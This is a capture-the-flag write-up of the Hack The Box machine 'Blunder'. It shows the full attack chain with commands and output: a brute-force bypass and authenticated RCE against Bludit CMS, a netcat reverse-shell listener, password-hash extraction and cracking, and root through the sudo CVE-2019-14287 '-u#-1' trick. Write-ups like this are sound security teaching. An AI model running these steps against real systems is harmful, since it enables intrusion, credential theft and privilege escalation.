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HTB: Blunder

Details

This machine is Blunder from Hack The Box

Recon

kali@kali:~$ nmap -sV -p- 10.10.10.191
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-12 09:38 EDT
Nmap scan report for 10.10.10.191
Host is up (0.015s latency).
Not shown: 65533 filtered ports
PORT   STATE  SERVICE VERSION
21/tcp closed ftp
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.18 seconds

User

Only option is the webserver http://10.10.10.191/

Screenshot 1

Where I ran a dirbust

Screenshot 2

Checked out the admin url at http://10.10.10.191/admin/

Screenshot 3

And then the tood.txt http://10.10.10.191/todo.txt

Screenshot 4

This gave me a username of fergus, and also that the CMS may be out of date. I found the version in the source of /admin

Screenshot 5

It is version 3.9.2, which had 2 potentially useful CVEs.

  • CVE-2019-17240 allows bypassing brute forcing protections
  • CVE-2019-16113 allows RCE, but needs creds

I found an exploit for the brute forcing one https://github.com/pingport80/CVE-2019-17240. I had a username of fergus but no password ideas. It was a blog so I ran cewl against it to get a custom wordlist

kali@kali:~$ cewl http://10.10.10.191/ > list.txt

Then ran the brute forcer

python3 brute.py -u http://10.10.10.191 -user fergus -w list.txt

 ____   ____   _   _  _____  ____
| __ ) |  _ \ | | | ||_   _|| ___|
|  _ \ | |_) || | | |  | |  |  _|
| |_)  |  _ < | |_| |  | |  | |__
|____/ |_| \_\ \___/   |_|  |____| @pingport80

[SNIP]
fergus : RolandDeschain  ==>found

So I logged in with those creds

Screenshot 6

Then found an exploit for the RCE CVE https://github.com/ynots0ups/CVE-2019-16113/blob/master/cve-2019-16113.py. So, I set a listener

kali@kali:~$ nc -nvlp 4444

And ran the exploit 

kali@kali:~$ python3 exploit.py
[+] Login successful!
[+] Upload of malicious file dnoyvuiflx.png successful!
[+] Modification of .htaccess successful!
[+] Sending request to spawn shell. You may Crtl+C this program once shell is recieved.

In the listener

connect to [10.10.14.23] from (UNKNOWN) [10.10.10.191] 55758
Linux blunder 5.3.0-53-generic #47-Ubuntu SMP Thu May 7 12:18:16 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 15:39:03 up 1 day, 12:25,  1 user,  load average: 0.05, 1.22, 1.83
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
shaun    :0       :0               Sat03   ?xdm?  12:55   0.87s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --systemd --session=ubuntu
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

 $ python -c "import pty;pty.spawn('/bin/bash')"
www-data@blunder:/$

I had a shell. I then found another user in the home directory 

www-data@blunder:/$ ls -la /home
ls -la /home
total 16
drwxr-xr-x  4 root  root  4096 Apr 27 14:31 .
drwxr-xr-x 21 root  root  4096 Apr 27 14:09 ..
drwxr-xr-x 16 hugo  hugo  4096 May 26 09:29 hugo
drwxr-xr-x 16 shaun shaun 4096 Apr 28 12:13 shaun

Hugo had the user flag

www-data@blunder:/$ ls -la /home/hugo
ls -la /home/hugo
total 80
drwxr-xr-x 16 hugo hugo 4096 May 26 09:29 .
drwxr-xr-x  4 root root 4096 Apr 27 14:31 ..
lrwxrwxrwx  1 root root    9 Apr 28 12:13 .bash_history -> /dev/null
-rw-r--r--  1 hugo hugo  220 Nov 28  2019 .bash_logout
-rw-r--r--  1 hugo hugo 3771 Nov 28  2019 .bashrc
drwx------ 13 hugo hugo 4096 Apr 27 14:29 .cache
drwx------ 11 hugo hugo 4096 Nov 28  2019 .config
drwx------  3 hugo hugo 4096 Apr 27 14:30 .gnupg
drwxrwxr-x  3 hugo hugo 4096 Nov 28  2019 .local
drwx------  5 hugo hugo 4096 Apr 27 14:29 .mozilla
-rw-r--r--  1 hugo hugo  807 Nov 28  2019 .profile
drwx------  2 hugo hugo 4096 Apr 27 14:30 .ssh
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Desktop
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Documents
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Downloads
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Music
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Pictures
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Public
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Templates
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Videos
-r--------  1 hugo hugo   33 Jul 11 03:14 user.txt

There was also a second version of bludit in the /var/www directory 

www-data@blunder:/var/www$ ls -la
ls -la
total 20
drwxr-xr-x  5 root     root     4096 Nov 28  2019 .
drwxr-xr-x 15 root     root     4096 Nov 27  2019 ..
drwxr-xr-x  8 www-data www-data 4096 May 19 15:13 bludit-3.10.0a
drwxrwxr-x  8 www-data www-data 4096 Apr 28 12:18 bludit-3.9.2
drwxr-xr-x  2 root     root     4096 Nov 28  2019 html

And in the users php

www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
}

I had a password hash for hugo, which I ran into an online cracker and got 

Password120

So I su’d to hugo

www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ su hugo

hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$

And grabbed the flag

hugo@blunder:~$ cat user.txt
cat user.txt
[REDACTED]

Root

Hugo can sudo

hugo@blunder:~$ sudo -l
sudo -l
Password: Password120

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash

This version was vulnerable to CVE-2019-14287

hugo@blunder:~$ sudo -u#-1 /bin/bash
root@blunder:/home/hugo#

root@blunder:/root# id
id
uid=0(root) gid=1001(hugo) groups=1001(hugo)

I was now root and could grab the flag

root@blunder:/root# ls -la
ls -la
total 36
drwx------  6 root root 4096 Apr 28 12:13 .
drwxr-xr-x 21 root root 4096 Apr 27 14:09 ..
lrwxrwxrwx  1 root root    9 Apr 28 12:13 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Aug 27  2019 .bashrc
drwx------  6 root root 4096 Nov 27  2019 .cache
drwx------  8 root root 4096 Nov 27  2019 .config
drwx------  3 root root 4096 Nov 27  2019 .dbus
drwxr-xr-x  3 root root 4096 Nov 27  2019 .local
-rw-r--r--  1 root root  148 Aug 27  2019 .profile
-r--------  1 root root   33 Jul 11 03:14 root.txt

root@blunder:/root# cat root.txt
cat root.txt
[REDACTED]

Published by Jack

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